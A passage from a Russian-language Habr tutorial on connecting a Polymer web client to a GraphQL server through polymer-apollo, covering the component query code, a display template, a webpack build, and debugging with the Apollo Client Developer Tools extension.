// query { user { ... } }
user: {
type: Object,
value: {}
}
};
}
// ну а здесь и будут наши запросы из моделей
get apollo() {
return {
getUserInfo: {
// наш запрос, который мы
// заимпортили из моделей
// нужно понимать, что этот запрос
// дернется сразу же при инициализации
// компонента
// можно ли этого избежать,
// я пока не разобрался
// разве что вызовом отдельной функции
query: getUserInfoQuery
}
};
}
}
window.customElements.define(GraphqlClientDemoApp.is, GraphqlClientDemoApp);
```
… и снова не забываем добавить его в entry.js:
```
import "src/client.js"
```
Ну и собственно осталось посмотреть на всё то, что придет с сервера.
src/graphql-client-demo-app/graphql-client-demo-app.html:
```
[[appName]]
===========
**Name:** [[user.firstname]] [[user.lastname]]!
**Created date:** [[user.createDate]]
Addresses:
----------
| {{index}} | {{item.city.name}} |
```
К слову, во время разработки шаблона мое окно среды выглядит примерно следующим образом:
В левой части экрана я полностью вижу структуру запроса (которая идентична структуре ответа), и описываю ее в шаблоне необходимым мне образом. Удобно.
### Шаг 5. Сборка, тестирование и отладка
Для начала не забываем собрать webpack:
```
$> webpack
```
Во время разработки вам, к сожалению, придется это делать после каждого обновления js-скриптов. Этого можно избежать, если следовать туториалу, написанным самим разработчиком polymer-apollo, и использовать npm start, но повторюсь, что если работать мимо polymer CLI, у вас могут возникнуть проблемы с некоторыми компонентами Polymer и с деплоем (конкретно я столкнулся с проблемой некорректной работы iron-pages и lazy-import, которую здесь описывать не буду т.к., к сожалению, пока еще не до конца решил).
Открываем Chrome, переходим на адрес нашего уже поднятого клиента (адрес можно увидеть сразу после выполнения `$ polymer serve`, как правило это <http://127.0.0.1:8081/>) и радуемся результатам, вернувшимся с нашего GraphQL сервера:
И снова я не могу нарадоваться тулзам для отладки. Ставим расширение для Chrome [Apollo Client Developer Tools](https://dev-blog.apollodata.com/apollo-client-developer-tools-ff89181ebcf), открываем консоль, переходим на вкладку Apollo, откидываемся на спинку кресла и начинаем получать удовольствие:
Помните, мы задавали алиас нашему запросу? Так вот в этом списке будут отображаться запросы именно по этим алиасам (иначе просто номер). Запросы и мутации отображаются отдельными списками. Стоит отметить, что эта тулза не является полной заменой вкладке Network, т.к. она показывает только запросы, а вот ответы — нет. Правда любой запрос одним нажатием на кнопочку возле алиаса запроса (или мутации) можно тут же загрузить во встроенный в это же расширение GraphiQL.
В целом такой себе лаконичный инспектор, так что коли вы захотите все же посмотреть по хедерам и статусам, милости просим на старую добрую вкладку Network.
В следующей(их) части(ях) мы наконец рассмотрим [мутации](https://habrahabr.ru/post/337046/), рассмотрим один из способов серверной валидации, и конечно же сделаем выводы. | https://habr.com/ru/post/337044/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.